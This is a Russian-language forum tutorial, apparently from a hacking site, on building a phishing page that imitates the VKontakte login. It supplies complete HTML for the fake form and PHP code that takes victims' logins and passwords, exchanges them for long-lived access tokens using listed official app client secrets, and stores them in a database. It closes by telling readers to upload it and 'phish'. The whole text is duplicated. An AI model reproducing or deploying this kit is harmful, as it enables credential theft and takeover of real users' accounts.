Суть механизма заключается в том, что мы будем отправлять данные из HTML-форм на сервера вконтакте. В ответ мы получим access token.
Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Выполнять авторизацию будем, представляясь официальным приложением. Запрос на прямую авторизацию выглядит примерно так:
Код:
Для просмотра ссылки Войдиили Зарегистрируйся значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение]
Что все это значит:
Android:
client_id: 2274003
client_secret: hHbZxrka2uZ6jB1inYsH
IPhone:
client_id: 3140623
client_secret: VeWdmVclDCtn6ihuP1nt
IPad:
client_id: 3682744
client_secret: mY6CDUswIVdJLCD3j15n
Windows desktop:
client_id: 3697615
client_secret: AlVXZFMUqyrnABp8ncuU
Windows phone:
client_id: 3502557
client_secret: PEObAuQi6KloPM4T30DV
Теперь необходима форма авторизации как в вк.
Создадим php документ authorize.php
authorize.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "Для просмотра ссылки Войдиили Зарегистрируйся">
<html xmlns="Для просмотра ссылки Войдиили Зарегистрируйся" xml:lang="en" lang="en">
<head>
<?php
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>ВКонтакте | Вход</title>
<link rel="stylesheet" type="text/css" href="css/al/common.css?34795707965" /><link rel="stylesheet" type="text/css" href="css/al/fonts_cnt.css?5181750877" />
<link type="text/css" rel="stylesheet" href="css/api/oauth_popup.css?29651175773"></link>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/icons/favicons/fav_logo_2x.ico?8"></link>
</head>
<body class="VK oauth_centered">
<script>
if (window.devicePixelRatio >= 2) document.body.className += ' is_2x';
</script>
<div class="oauth_wrap">
<div class="oauth_wrap_inner">
<div class="oauth_wrap_content" id="oauth_wrap_content">
<div class="oauth_head">
<a class="oauth_logo fl_l" href="Для просмотра ссылки Войдиили Зарегистрируйся" target="_blank"></a>
<div id="oauth_head_info" class="oauth_head_info fl_r">
<a class="oauth_reg_link" href="Для просмотра ссылки Войдиили Зарегистрируйся" target="_blank">Регистрация</a>
</div>
</div>
<div class="oauth_content box_body clear_fix">
<div class="box_msg_gray box_msg_padded">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>
<form method="POST" id="login_submit" action="login.php">
<div class="oauth_form">
<div id="hide_row_pass" class="box_error">Указан неверный логин или пароль.</div>
<div class="oauth_form_login">
<div class="oauth_form_header">Телефон или email</div>
<input type="text" class="oauth_form_input dark" name="login" value="">
<div class="oauth_form_header">Пароль</div>
<input type="password" class="oauth_form_input dark" name="password" />
<button class="flat_button oauth_button button_wide" id="install_allow" type="submit" name="submit_login">Войти</button>
<a class="oauth_forgot" href="Для просмотра ссылки Войдиили Зарегистрируйся" target="_blank">Забыли пароль?</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>
Архив со всеми картинками и стилями:
Для просмотра ссылки Войдиили Зарегистрируйся
VT: Для просмотра ссылки Войдиили Зарегистрируйся
Выглядеть будет так:
Теперь нужен файл, который будет отсылать логин и пароль на авторизацию и получение токена. Назовем login.php
Но перед этим создадим БД куда будем записывать все валидные данные.
2. Создадим таблицу на 7 столбцов
3. Параметры id, Логин (login), Пароль (password), Токен (token), Дата (date), Имя (first_name) и Фамилия (last_name) зададим как на картинке
В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY.
Теперь сам файл login.php:
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('Для просмотра ссылки Войдиили Зарегистрируйся.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Если авторизация прошла успешно
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
$token1 = json_decode(file_get_contents('Для просмотра ссылки Войдиили Зарегистрируйся.''), true);
$data = json_decode(file_get_contents('Для просмотра ссылки Войдиили Зарегистрируйся'), true);
//Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s d-m-Y");
//Подключаемся к БД
$host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);
mysql_query("set names utf8");
//Выполняем запись валида в БД
$sql = mysql_query("INSERT INTO vk(login, password, token, date, user_id, first_name, last_name) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."','".$token1['user_id']."','".$data['response'][0]['first_name']."','".$data['response'][0]['last_name']."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com или на ваш сайт
if ($sql) {
session_start();
$_SESSION['logged_user'] = $data['response'][0]['first_name'];
header('Location: vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
} else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}
if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}
if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}
if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}
$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);
$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];
preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
$cookies = implode(';', $parse_cookies[1]);
curl_close($ch);
return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
В переменные $host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
вписываем наши данные
На 50 строчке если авторизация прошла успешно, нужно перенаправить пользователя на ваш сайт или куда вам угодно.
header('Location: "Ваш сайт" ');
Осталось залить все файлы на хостинг и можно фишить.
Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Выполнять авторизацию будем, представляясь официальным приложением. Запрос на прямую авторизацию выглядит примерно так:
Код:
Для просмотра ссылки Войди
Что все это значит:
- clenit_id - это id нашего приложения. Запишем в client_id значение 2274003.
- scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль, либо завершит все сессии в настройках безопасности.
- client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH
- username - логин пользователя ВКонтакте
- password - пароль пользователя ВКонтакте
Android:
client_id: 2274003
client_secret: hHbZxrka2uZ6jB1inYsH
IPhone:
client_id: 3140623
client_secret: VeWdmVclDCtn6ihuP1nt
IPad:
client_id: 3682744
client_secret: mY6CDUswIVdJLCD3j15n
Windows desktop:
client_id: 3697615
client_secret: AlVXZFMUqyrnABp8ncuU
Windows phone:
client_id: 3502557
client_secret: PEObAuQi6KloPM4T30DV
Теперь необходима форма авторизации как в вк.
Создадим php документ authorize.php
authorize.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "Для просмотра ссылки Войди
<html xmlns="Для просмотра ссылки Войди
<head>
<?php
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>ВКонтакте | Вход</title>
<link rel="stylesheet" type="text/css" href="css/al/common.css?34795707965" /><link rel="stylesheet" type="text/css" href="css/al/fonts_cnt.css?5181750877" />
<link type="text/css" rel="stylesheet" href="css/api/oauth_popup.css?29651175773"></link>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/icons/favicons/fav_logo_2x.ico?8"></link>
</head>
<body class="VK oauth_centered">
<script>
if (window.devicePixelRatio >= 2) document.body.className += ' is_2x';
</script>
<div class="oauth_wrap">
<div class="oauth_wrap_inner">
<div class="oauth_wrap_content" id="oauth_wrap_content">
<div class="oauth_head">
<a class="oauth_logo fl_l" href="Для просмотра ссылки Войди
<div id="oauth_head_info" class="oauth_head_info fl_r">
<a class="oauth_reg_link" href="Для просмотра ссылки Войди
</div>
</div>
<div class="oauth_content box_body clear_fix">
<div class="box_msg_gray box_msg_padded">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>
<form method="POST" id="login_submit" action="login.php">
<div class="oauth_form">
<div id="hide_row_pass" class="box_error">Указан неверный логин или пароль.</div>
<div class="oauth_form_login">
<div class="oauth_form_header">Телефон или email</div>
<input type="text" class="oauth_form_input dark" name="login" value="">
<div class="oauth_form_header">Пароль</div>
<input type="password" class="oauth_form_input dark" name="password" />
<button class="flat_button oauth_button button_wide" id="install_allow" type="submit" name="submit_login">Войти</button>
<a class="oauth_forgot" href="Для просмотра ссылки Войди
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>
Архив со всеми картинками и стилями:
Для просмотра ссылки Войди
VT: Для просмотра ссылки Войди
Выглядеть будет так:
Теперь нужен файл, который будет отсылать логин и пароль на авторизацию и получение токена. Назовем login.php
Но перед этим создадим БД куда будем записывать все валидные данные.
- Переходим на хостинге в PhpMyAdmin и нажимаем "Создать"
2. Создадим таблицу на 7 столбцов
3. Параметры id, Логин (login), Пароль (password), Токен (token), Дата (date), Имя (first_name) и Фамилия (last_name) зададим как на картинке
В параметрах столбца id должен быть отмечен параметр "A_I" (auto_increment) и стоять PRIMARY KEY.
Теперь сам файл login.php:
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('Для просмотра ссылки Войди
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Если авторизация прошла успешно
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
$token1 = json_decode(file_get_contents('Для просмотра ссылки Войди
$data = json_decode(file_get_contents('Для просмотра ссылки Войди
//Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s d-m-Y");
//Подключаемся к БД
$host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);
mysql_query("set names utf8");
//Выполняем запись валида в БД
$sql = mysql_query("INSERT INTO vk(login, password, token, date, user_id, first_name, last_name) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."','".$token1['user_id']."','".$data['response'][0]['first_name']."','".$data['response'][0]['last_name']."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com или на ваш сайт
if ($sql) {
session_start();
$_SESSION['logged_user'] = $data['response'][0]['first_name'];
header('Location: vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
} else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}
if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}
if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}
if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);
if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}
$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);
$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];
preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);
$cookies = implode(';', $parse_cookies[1]);
curl_close($ch);
return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
В переменные $host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
вписываем наши данные
На 50 строчке если авторизация прошла успешно, нужно перенаправить пользователя на ваш сайт или куда вам угодно.
header('Location: "Ваш сайт" ');
Осталось залить все файлы на хостинг и можно фишить.